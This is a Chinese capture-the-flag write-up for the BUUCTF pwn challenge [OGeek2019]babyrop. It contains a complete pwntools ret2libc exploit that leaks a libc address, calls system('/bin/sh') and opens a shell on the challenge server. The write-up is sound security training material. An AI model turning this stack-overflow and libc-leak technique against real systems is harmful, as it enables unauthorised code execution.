[BUUCTF-pwn]——[OGeek2019]babyrop
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——[OGeek2019]babyrop
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——[OGeek2019]babyrop
- 題目地址:https://buuoj.cn/challenges#[OGeek2019]babyrop
- 題目:
話不多說,先checksec一下,開啟了NX保護,但是沒開啟地址隨機化。
在IDA中看看,三個函數挨個點開看看
第一個,啥用沒有。我也不知道寫這個函數是干嘛,可能學的還是太少。
第二個函數,發現了棧溢出的敏感函數read。但是里面有個判斷,里面函數返回值必須為0,否則直接終止程序。通過了解strncmp函數的性質。只要v1是0,返回值必定為0。因此buf的第一個字符為 '\0’即可。
再來看看最后一個函數,a1是上一個函數的返回值。所以a1要稍微大一點。不然一會棧溢出的時候。萬一太小是else語句的執行。太小就無法有效棧溢出了a1會長度限制。
別問為什么不在第二個函數里面的read函數棧溢出。問就是因為0x20太小了
所以expolit為
from pwn import * from LibcSearcher import *p=remote('node3.buuoj.cn',29760) elf=ELF('./pwn') write_plt=elf.plt['write'] read_got=elf.got['read'] read_plt=elf.plt['read'] main_addr=0x8048825 payload1='\x00'+'\xff'*(0x8 - 0x1) p.sendline(payload1) p.recvline()payload='a'*(0xe7 + 0x4) payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8) p.sendline(payload)read_addr=u32(p.recv(4)) print 'read_addr: ' + hex(read_addr)libc=LibcSearcher('read',read_addr) libc_base=read_addr-libc.dump('read') system_addr=libc_base+libc.dump('system') binsh=libc_base+libc.dump('str_bin_sh') p.sendline(payload1) p.recvline() payload='a'*(0xe7 + 0x4) payload+=p32(system_addr) + p32(0) +p32(binsh) p.sendline(payload)p.interactive()孩子信心滿滿提交了 。結果晴天霹靂
孩子找了好多資料。百思不得其解,耽誤了兩三天。突然有一天,思緒一動,不會是文件名和模板一樣造成的吧。將文件由pwn改為了mian。expolit也改了改。
直接出結果,孩子裂開。
總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——[OGeek2019]babyrop的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——ciscn_
- 下一篇: [Jarvis OJ - PWN]——[